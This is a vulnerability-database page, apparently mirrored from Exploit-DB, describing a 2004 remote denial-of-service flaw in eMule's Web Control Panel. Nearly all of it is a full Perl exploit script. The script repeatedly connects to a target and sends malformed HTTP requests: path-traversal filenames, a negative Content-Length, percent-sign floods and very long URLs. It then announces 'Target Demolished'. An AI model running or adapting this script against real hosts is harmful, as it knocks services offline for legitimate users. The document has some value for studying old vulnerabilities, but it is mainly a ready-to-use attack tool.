EMule Web 0.42 Control Panel - Denial of Service

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漏洞ID 1054469 漏洞类型
发布时间 2004-05-10 更新时间 2004-05-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24107
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10317/info

It has been reported that eMule's Web Control Panel is susceptible to a remote denial of service vulnerability.

This issue is reportedly triggered by sending malformed requests to the web interface. Upon processing malformed requests, the affected application will crash, denying service to legitimate users.

#!/usr/bin/perl

system("cls");
# Emule 0.42e Remote Denial Of Service Exploit
# Coded by Rafel Ivgi, The-Insider:   http://theinsider.deep-ice.com
# usage: perl emule042e.pl <host> <port> <how many times>

use IO::Socket;
my $host = $ARGV[0];
my $port = $ARGV[1];
my $times = $ARGV[2];

if ($host)
{
unless($port) { $port="4711";}
unless($times) { $times="50";}
{
                print "Emule 0.42e Remote Denial Of Service Exploit
           Coded by The-Insider\n\n";
                print "[+] Connecting to target $host:$port\n";
for $i (1..$times) {
                $remote=IO::Socket::INET->new(Proto =>"tcp",
  PeerAddr => $host,
  PeerPort =>  80,
                                    Type => SOCK_STREAM
                                    Timeout => 8);

 unless ($remote)
                  {
                  die "can't connect to $host"
                  }
                  print "[+] Connected to target $host:$port\n";
                  print "[+] Sending Request\n";
 $remote ->autoflush(1);
print $remote "GET / HTTP/1.1
Content-Disposition: form-data; name=\"file\";
filename=\"../../../file.txt\"

";
print $remote "POST / HTTP/1.0
Content-Length: 10

123456789

";
print $remote "POST / HTTP/1.1
Content-Length: -1

";
print $remote "GET /%%%%%%%%%%%% HTTP/1.0

";
print $remote "index.htm

";
print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1

";
print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa

";
print $remote "GET c:\

";
                  print $remote "GET
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1

";
                  while(<$remote>)
                  {
                  $cool .= $_;
 if ($cool =~ /Server:/i)
                  {
                  close $cool;
                 -close $remote;
                  }
                  }
                  print "[+] Target Demolished.\n";
}}}
else
{
die "\nEmule 0.42e Remote Denial Of Service Exploit
Coded by Rafel Ivgi, The-Insider:   http://theinsider.deep-ice.com


usage: perl emule042e.pl <host> <port> <how many times>\n\n";
}